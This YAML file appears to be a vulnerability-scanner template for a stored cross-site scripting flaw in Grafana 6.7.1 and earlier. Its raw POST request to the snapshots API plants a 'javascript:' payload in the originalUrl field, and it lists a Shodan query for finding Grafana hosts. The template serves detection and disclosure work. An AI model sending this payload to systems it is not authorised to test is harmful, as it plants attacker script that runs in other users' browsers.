63 lines
2.5 KiB
YAML
63 lines
2.5 KiB
YAML
id: CVE-2020-11110
|
|
|
|
info:
|
|
name: Grafana <=6.7.1 - Cross-Site Scripting
|
|
author: emadshanab
|
|
severity: medium
|
|
description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
|
|
reference:
|
|
- https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
|
|
- https://github.com/grafana/grafana/pull/23254
|
|
- https://security.netapp.com/advisory/ntap-20200810-0002/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
|
|
- https://hackerone.com/reports/1329433
|
|
remediation: This issue can be resolved by updating Grafana to the latest version.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2020-11110
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
shodan-query: title:"Grafana"
|
|
tags: cve,cve2020,xss,grafana,hackerone
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /api/snapshots HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Referer: {{BaseURL}}
|
|
content-type: application/json
|
|
Connection: close
|
|
|
|
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"deleteKey":'
|
|
- '"deleteUrl":'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '"url":"([a-z:/0-9A-Z]+)"'
|
|
|
|
# Enhanced by mp on 2022/09/02
|